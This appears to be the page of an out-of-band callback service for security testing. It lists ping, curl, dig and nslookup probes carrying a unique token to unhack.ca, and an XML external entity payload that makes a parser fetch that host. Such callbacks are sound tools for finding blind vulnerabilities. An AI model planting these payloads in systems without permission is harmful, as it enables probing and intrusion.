$ ping -c1 -p 002d9c02e2dfdd4827561d49c1a14e00 unhack.ca
 
$ curl http://unhack.ca/p/2d9c02e2dfdd4827561d49c1a14e
 
$ dig 2d9c02e2dfdd4827561d49c1a14e @unhack.ca
 
$ dig 2d9c02e2dfdd4827561d49c1a14e.ns.unhack.ca
 
C:\> nslookup 2d9c02e2dfdd4827561d49c1a14e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2d9c02e2dfdd4827561d49c1a14e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...